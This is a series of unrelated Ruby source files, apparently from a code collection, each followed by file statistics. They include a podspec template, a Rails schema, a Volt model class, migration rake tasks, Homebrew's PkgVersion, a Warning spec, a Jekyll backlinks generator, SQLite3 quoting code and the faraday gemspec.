# # Be sure to run `pod lib lint FRLabel.podspec' to ensure this is a # valid spec before submitting. # # Any lines starting with a # are optional, but their use is encouraged # To learn more about a Podspec see http://guides.cocoapods.org/syntax/podspec.html # Pod::Spec.new do |s| s.name = 'FRLabel' s.version = '0.1.0' s.summary = 'A short description of FRLabel.' # This description is used to generate tags and improve search results. # * Think: What does it do? Why did you write it? What is the focus? # * Try to keep it short, snappy and to the point. # * Write the description between the DESC delimiters below. # * Finally, don't worry about the indent, CocoaPods strips it! s.description = <<-DESC TODO: Add long description of the pod here. DESC s.homepage = 'https://github.com/johnny12000/FRLabel' # s.screenshots = 'www.example.com/screenshots_1', 'www.example.com/screenshots_2' s.license = { :type => 'MIT', :file => 'LICENSE' } s.author = { 'johnny12000' => '[email protected]' } s.source = { :git => 'https://github.com/johnny12000/FRLabel.git', :tag => s.version.to_s } # s.social_media_url = 'https://twitter.com/<TWITTER_USERNAME>' s.ios.deployment_target = '8.0' s.source_files = 'FRLabel/Classes/**/*' # s.resource_bundles = { # 'FRLabel' => ['FRLabel/Assets/*.png'] # } # s.public_header_files = 'Pod/Classes/**/*.h' # s.frameworks = 'UIKit', 'MapKit' # s.dependency 'AFNetworking', '~> 2.3' end
36.813953
103
0.634239
017093880bd8bbb4f91325c121bbd4173f27cd93
2,227
# This file is auto-generated from the current state of the database. Instead # of editing this file, please use the migrations feature of Active Record to # incrementally modify your database, and then regenerate this schema definition. # # Note that this schema.rb definition is the authoritative source for your # database schema. If you need to create the application database on another # system, you should be using db:schema:load, not running all the migrations # from scratch. The latter is a flawed and unsustainable approach (the more migrations # you'll amass, the slower it'll run and the greater likelihood for issues). # # It's strongly recommended that you check this file into your version control system. ActiveRecord::Schema.define(version: 20160829180746) do create_table "microposts", force: :cascade do |t| t.text "content" t.integer "user_id" t.datetime "created_at", null: false t.datetime "updated_at", null: false t.string "picture" t.index ["user_id", "created_at"], name: "index_microposts_on_user_id_and_created_at" t.index ["user_id"], name: "index_microposts_on_user_id" end create_table "relationships", force: :cascade do |t| t.integer "follower_id" t.integer "followed_id" t.datetime "created_at", null: false t.datetime "updated_at", null: false t.index ["followed_id"], name: "index_relationships_on_followed_id" t.index ["follower_id", "followed_id"], name: "index_relationships_on_follower_id_and_followed_id", unique: true t.index ["follower_id"], name: "index_relationships_on_follower_id" end create_table "users", force: :cascade do |t| t.string "name" t.string "email" t.datetime "created_at", null: false t.datetime "updated_at", null: false t.string "password_digest" t.string "remember_digest" t.boolean "admin", default: false t.string "activation_digest" t.boolean "activated", default: false t.datetime "activated_at" t.string "reset_digest" t.datetime "reset_sent_at" t.string "avatar" t.index ["email"], name: "index_users_on_email", unique: true end end
42.018868
116
0.704086
61668e4ea8e2b90ae20dfad16d1f1d05c3202757
9,361
require 'volt/models/model_wrapper' require 'volt/models/array_model' require 'volt/models/model_helpers' require 'volt/reactive/object_tracking' require 'volt/models/model_hash_behaviour' require 'volt/models/validations' require 'volt/models/model_state' class NilMethodCall < NoMethodError def true? false end def false? true end end class Model include ReactiveTags include ModelWrapper include ObjectTracking include ModelHelpers include ModelHashBehaviour include Validations include ModelState attr_accessor :attributes attr_reader :parent, :path, :persistor, :options def initialize(attributes={}, options={}, initial_state=nil) self.options = options self.send(:attributes=, attributes, true) @cache = {} # Models stat in a loaded state since they are normally setup from an # ArrayModel, which will have the data when they get added. @state = :loaded @persistor.loaded(initial_state) if @persistor end # Update the options def options=(options) @options = options @parent = options[:parent] @path = options[:path] || [] @class_paths = options[:class_paths] @persistor = setup_persistor(options[:persistor]) end # Assign multiple attributes as a hash, directly. def attributes=(attrs, initial_setup=false) @attributes = wrap_values(attrs) unless initial_setup trigger!('changed') # Let the persistor know something changed if @persistor # the changed method on a persistor should return a promise that will # be resolved when the save is complete, or fail with a hash of errors. return @persistor.changed end end end alias_method :assign_attributes, :attributes= # Pass the comparison through def ==(val) if val.is_a?(Model) # Use normal comparison for a model return super else # Compare to attributes otherwise return attributes == val end end # Pass through needed def ! !attributes end tag_all_methods do pass_reactive! do |method_name| method_name[0] == '_' && method_name[-1] == '=' end end def method_missing(method_name, *args, &block) if method_name[0] == '_' if method_name[-1] == '=' # Assigning an attribute with = assign_attribute(method_name, *args, &block) else read_attribute(method_name) end else # Call method directly on attributes. (since they are # not using _ ) attributes.send(method_name, *args, &block) end end # Do the assignment to a model and trigger a changed event def assign_attribute(method_name, *args, &block) # Free any cached value free(method_name) self.expand! # Assign, without the = attribute_name = method_name[0..-2].to_sym value = args[0] __assign_element(attribute_name, value) attributes[attribute_name] = wrap_value(value, [attribute_name]) trigger_by_attribute!('changed', attribute_name) # Let the persistor know something changed @persistor.changed(attribute_name) if @persistor end # When reading an attribute, we need to handle reading on: # 1) a nil model, which returns a wrapped error # 2) reading directly from attributes # 3) trying to read a key that doesn't exist. def read_attribute(method_name) # Reading an attribute, we may get back a nil model. method_name = method_name.to_sym if method_name[0] != '_' && attributes == nil # The method we are calling is on a nil model, return a wrapped # exception. return return_undefined_method(method_name) else # See if the value is in attributes value = (attributes && attributes[method_name]) # Also check @cache value ||= (@cache && @cache[method_name]) if value # key was in attributes or cache return value else # Cache the value, will be removed when expanded or something # is assigned over it. # TODO: implement a timed out cache flusing new_model = read_new_model(method_name) @cache[method_name] = new_model return new_model end end end # Get a new model, make it easy to override def read_new_model(method_name) if @persistor && @persistor.respond_to?(:read_new_model) @persistor.read_new_model(method_name) else return new_model(nil, @options.merge(parent: self, path: path + [method_name])) end end def return_undefined_method(method_name) # Methods called on nil capture an error so the user can know where # their nil calls are. This error can be re-raised at a later point. begin raise NilMethodCall.new("undefined method `#{method_name}' for #{self.to_s}") rescue => e result = e # Cleanup backtrace around ReactiveValue's # TODO: this could be better result.backtrace.reject! {|line| line['lib/models/model.rb'] || line['lib/models/live_value.rb'] } end end def new_model(attributes, options) class_at_path(options[:path]).new(attributes, options) end def new_array_model(attributes, options) # Start with an empty query options = options.dup options[:query] = {} ArrayModel.new(attributes, options) end def trigger_by_attribute!(event_name, attribute, *passed_args) trigger_by_scope!(event_name, *passed_args) do |scope| method_name, *args, block = scope # TODO: Opal bug args ||= [] # Any methods without _ are not directly related to one attribute, so # they should all trigger !method_name || method_name[0] != '_' || (method_name == attribute.to_sym && args.size == 0) end end # Removes an item from the cache def free(name) @cache.delete(name) end # If this model is nil, it makes it into a hash model, then # sets it up to track from the parent. def expand! if attributes.nil? @attributes = {} if @parent @parent.expand! @parent.send(:"#{@path.last}=", self) end end end tag_method(:<<) do pass_reactive! end # Initialize an empty array and append to it def <<(value) if @parent @parent.expand! else raise "Model data should be stored in sub collections." end # Grab the last section of the path, so we can do the assign on the parent path = @path.last result = @parent.send(path) if result.nil? # If this isn't a model yet, instantiate it @parent.send(:"#{path}=", new_array_model([], @options)) result = @parent.send(path) end # Add the new item result << value trigger!('added', nil, 0) trigger!('changed') return nil end def inspect "<#{self.class.to_s}:#{object_id} #{attributes.inspect}>" end def deep_cur attributes end def save! # Compute the erros once errors = self.errors if errors.size == 0 save_to = options[:save_to] if save_to if save_to.is_a?(ArrayModel) # Add to the collection new_model = save_to.append(self.attributes) # Set the buffer's id to track the main model's id self.attributes[:_id] = new_model._id options[:save_to] = new_model # TODO: return a promise that resolves if the append works else # We have a saved model return save_to.assign_attributes(self.attributes) end else raise "Model is not a buffer, can not be saved, modifications should be persisted as they are made." end return Promise.new.resolve({}) else # Some errors, mark all fields self.class.validations.keys.each do |key| mark_field!(key.to_sym) end trigger_for_methods!('changed', :errors, :marked_errors) return Promise.new.reject(errors) end end # Returns a buffered version of the model tag_method(:buffer) do destructive! end def buffer model_path = options[:path] model_klass = class_at_path(model_path) new_options = options.merge(path: model_path, save_to: self).reject {|k,_| k.to_sym == :persistor } model = model_klass.new({}, new_options, :loading) if state == :loaded setup_buffer(model) else self.parent.then do setup_buffer(model) end end return ReactiveValue.new(model) end private def setup_buffer(model) model.attributes = self.attributes model.change_state_to(:loaded) end # Clear the previous value and assign a new one def __assign_element(key, value) __clear_element(key) __track_element(key, value) end # TODO: Somewhat duplicated from ReactiveArray def __clear_element(key) # Cleanup any tracking on an index # TODO: is this send a security risk? if @reactive_element_listeners && @reactive_element_listeners[key] @reactive_element_listeners[key].remove @reactive_element_listeners.delete(key) end end def __track_element(key, value) __setup_tracking(key, value) do |event, key, args| trigger_by_attribute!(event, key, *args) end end # Takes the persistor if there is one and def setup_persistor(persistor) if persistor @persistor = persistor.new(self) end end end
25.787879
108
0.6604
f788cb1ed1d8e8374702ba00e4603436b97666f5
2,262
# frozen_string_literal: true namespace :bulwark do namespace :migrations do desc 'Retrieving thumbnail_location from Fedora and storing it in the database' task add_thumbnail_location: :environment do Repo.find_each do |repo| begin fedora_object = ActiveFedora::Base.find(repo.names.fedora) if (url = fedora_object.thumbnail.ldp_source.head.headers['Content-Type'].match(/url="(?<url>[^"]*)"/)[:url]) repo.thumbnail_location = Addressable::URI.parse(url).path # Removing host and scheme repo.save! else puts Rainbow("Was not able to update thumbnail location for #{repo.id}. URL not found in expected location.").red end rescue => e puts Rainbow("Was not able to update thumbnail_location for #{repo.id}. Error: #{e.message}").red end end end desc 'Export of "Kaplan-style" objects' task export_kaplan_style_items: :environment do # Param to limit the number of results returned. limit = ENV['limit'].present? ? ENV['limit'].to_i : nil kaplan_style_items = Repo.where(ingested: true).select do |r| types = r.metadata_builder.metadata_source.map(&:source_type) types.count == 2 && types.include?('kaplan_structural') && types.include?('kaplan') end kaplan_style_items = kaplan_style_items.first(limit) if limit hashes = kaplan_style_items.map do |r| descriptive = r.metadata_builder.metadata_source.where(source_type: 'kaplan').first.original_mappings structural = r.metadata_builder.metadata_source.where(source_type: 'kaplan_structural').first.user_defined_mappings filenames = [] structural.each { |key, value| filenames[key] = value['file_name'] } { 'unique_identifier' => r.unique_identifier, 'action' => 'MIGRATE', 'metadata' => descriptive, 'structural' => { 'filenames' => filenames.compact.join('; ') } } end csv_data = Bulwark::StructuredCSV.generate(hashes) # Write to CSV filename = File.join("/fs/priv/workspace/migration_csvs/kaplan-export-#{Time.current.to_s(:number)}.csv") File.write(filename, csv_data) end end end
39.684211
125
0.655615
62072273aa4794fdba5db0b18365937d2c026948
775
require "version" class PkgVersion include Comparable RX = /\A(.+?)(?:_(\d+))?\z/ def self.parse(path) _, version, revision = *path.match(RX) version = Version.new(version) new(version, revision.to_i) end def initialize(version, revision) @version = version @revision = version.head? ? 0 : revision end def head? version.head? end def to_s if revision > 0 "#{version}_#{revision}" else version.to_s end end alias_method :to_str, :to_s def <=>(other) return unless PkgVersion === other (version <=> other.version).nonzero? || revision <=> other.revision end alias_method :eql?, :== def hash version.hash ^ revision.hash end protected attr_reader :version, :revision end
16.847826
71
0.627097
611060fb3a525d010434051b119273028e1fbb38
1,306
require_relative '../../spec_helper' ruby_version_is '2.7' do describe "Warning.[]=" do it "emits and suppresses warnings for :deprecated" do ruby_exe('Warning[:deprecated] = true; $; = ""', args: "2>&1").should =~ /is deprecated/ ruby_exe('Warning[:deprecated] = false; $; = ""', args: "2>&1").should == "" end describe ":experimental" do before do ruby_version_is ""..."3.0" do @src = 'case [0, 1]; in [a, b]; end' end ruby_version_is "3.0" do @src = 'warn "This is experimental warning.", category: :experimental' end end it "emits and suppresses warnings for :experimental" do ruby_exe("Warning[:experimental] = true; eval('#{@src}')", args: "2>&1").should =~ /is experimental/ ruby_exe("Warning[:experimental] = false; eval('#{@src}')", args: "2>&1").should == "" end end it "raises for unknown category" do -> { Warning[:noop] = false }.should raise_error(ArgumentError, /unknown category: noop/) end it "raises for non-Symbol category" do -> { Warning[42] = false }.should raise_error(TypeError) -> { Warning[false] = false }.should raise_error(TypeError) -> { Warning["noop"] = false }.should raise_error(TypeError) end end end
34.368421
108
0.593415
918c6624a7ae6f178a09fdfd04dab86ad324a37a
3,764
# frozen_string_literal: true class BidirectionalLinksGenerator < Jekyll::Generator def generate(site) graph_nodes = [] graph_edges = [] all_notes = site.collections['notes'].docs all_pages = site.pages all_docs = all_notes + all_pages link_extension = !!site.config["use_html_extension"] ? '.html' : '' # Convert all Wiki/Roam-style double-bracket link syntax to plain HTML # anchor tag elements (<a>) with "internal-link" CSS class all_docs.each do |current_note| all_docs.each do |note_potentially_linked_to| note_title_regexp_pattern = Regexp.escape( File.basename( note_potentially_linked_to.basename, File.extname(note_potentially_linked_to.basename) ) ).gsub('\_', '[ _]').gsub('\-', '[ -]').capitalize title_from_data = note_potentially_linked_to.data['title'] if title_from_data title_from_data = Regexp.escape(title_from_data) end new_href = "#{site.baseurl}#{note_potentially_linked_to.url}#{link_extension}" anchor_tag = "<a class='internal-link' href='#{new_href}'>\\1</a>" # Replace double-bracketed links with label using note title # [[A note about cats|this is a link to the note about cats]] current_note.content.gsub!( /\[\[#{note_title_regexp_pattern}\|(.+?)(?=\])\]\]/i, anchor_tag ) # Replace double-bracketed links with label using note filename # [[cats|this is a link to the note about cats]] current_note.content.gsub!( /\[\[#{title_from_data}\|(.+?)(?=\])\]\]/i, anchor_tag ) # Replace double-bracketed links using note title # [[a note about cats]] current_note.content.gsub!( /\[\[(#{title_from_data})\]\]/i, anchor_tag ) # Replace double-bracketed links using note filename # [[cats]] current_note.content.gsub!( /\[\[(#{note_title_regexp_pattern})\]\]/i, anchor_tag ) end # At this point, all remaining double-bracket-wrapped words are # pointing to non-existing pages, so let's turn them into disabled # links by greying them out and changing the cursor current_note.content = current_note.content.gsub( /\[\[([^\]]+)\]\]/i, # match on the remaining double-bracket links <<~HTML.delete("\n") # replace with this HTML (\\1 is what was inside the brackets) <span title='There is no note that matches this link.' class='invalid-link'> <span class='invalid-link-brackets'>[[</span> \\1 <span class='invalid-link-brackets'>]]</span></span> HTML ) end # Identify note backlinks and add them to each note all_notes.each do |current_note| # Nodes: Jekyll notes_linking_to_current_note = all_notes.filter do |e| e.content.include?(current_note.url) end # Nodes: Graph graph_nodes << { id: note_id_from_note(current_note), path: "#{site.baseurl}#{current_note.url}#{link_extension}", label: current_note.data['title'], } unless current_note.path.include?('_notes/index.html') # Edges: Jekyll current_note.data['backlinks'] = notes_linking_to_current_note # Edges: Graph notes_linking_to_current_note.each do |n| graph_edges << { source: note_id_from_note(n), target: note_id_from_note(current_note), } end end File.write('_includes/notes_graph.json', JSON.dump({ edges: graph_edges, nodes: graph_nodes, })) end def note_id_from_note(note) note.data['title'].bytes.join end end
33.607143
91
0.615303
d5a181d3e278fa733dc41475269a7a545841151b
1,019
module ActiveRecord module ConnectionAdapters module SQLite3 module Quoting # :nodoc: def quote_string(s) @connection.class.quote(s) end def quote_table_name_for_assignment(table, attr) quote_column_name(attr) end def quote_column_name(name) @quoted_column_names[name] ||= %Q("#{super.gsub('"', '""')}") end def quoted_time(value) quoted_date(value) end private def _quote(value) if value.is_a?(Type::Binary::Data) "x'#{value.hex}'" else super end end def _type_cast(value) case value when BigDecimal value.to_f when String if value.encoding == Encoding::ASCII_8BIT super(value.encode(Encoding::UTF_8)) else super end else super end end end end end end
20.795918
71
0.499509
acff064bc8be94d3e7afd76116bd94d6b053e001
160
class AddInactivityNotifiedToSpace < ActiveRecord::Migration[4.2] def change add_column :spaces, :inactivity_notified, :boolean, default: false end end
26.666667
70
0.78125
1afb9700a7361408776f8a0281e3b7c2856646c9
1,681
# -*- encoding: utf-8 -*- # stub: faraday 1.3.0 ruby libspec/external_adapters Gem::Specification.new do |s| s.name = "faraday".freeze s.version = "1.3.0" s.required_rubygems_version = Gem::Requirement.new(">= 0".freeze) if s.respond_to? :required_rubygems_version= s.metadata = { "bug_tracker_uri" => "https://github.com/lostisland/faraday/issues", "changelog_uri" => "https://github.com/lostisland/faraday/releases/tag/v1.3.0", "homepage_uri" => "https://lostisland.github.io/faraday", "source_code_uri" => "https://github.com/lostisland/faraday" } if s.respond_to? :metadata= s.require_paths = ["lib".freeze, "spec/external_adapters".freeze] s.authors = ["@technoweenie".freeze, "@iMacTia".freeze, "@olleolleolle".freeze] s.date = "2020-12-31" s.email = "[email protected]".freeze s.homepage = "https://lostisland.github.io/faraday".freeze s.licenses = ["MIT".freeze] s.required_ruby_version = Gem::Requirement.new(">= 2.4".freeze) s.rubygems_version = "3.1.4".freeze s.summary = "HTTP/REST API client library.".freeze s.installed_by_version = "3.1.4" if s.respond_to? :installed_by_version if s.respond_to? :specification_version then s.specification_version = 4 end if s.respond_to? :add_runtime_dependency then s.add_runtime_dependency(%q<faraday-net_http>.freeze, ["~> 1.0"]) s.add_runtime_dependency(%q<multipart-post>.freeze, [">= 1.2", "< 3"]) s.add_runtime_dependency(%q<ruby2_keywords>.freeze, [">= 0"]) else s.add_dependency(%q<faraday-net_http>.freeze, ["~> 1.0"]) s.add_dependency(%q<multipart-post>.freeze, [">= 1.2", "< 3"]) s.add_dependency(%q<ruby2_keywords>.freeze, [">= 0"]) end end
46.694444
314
0.696014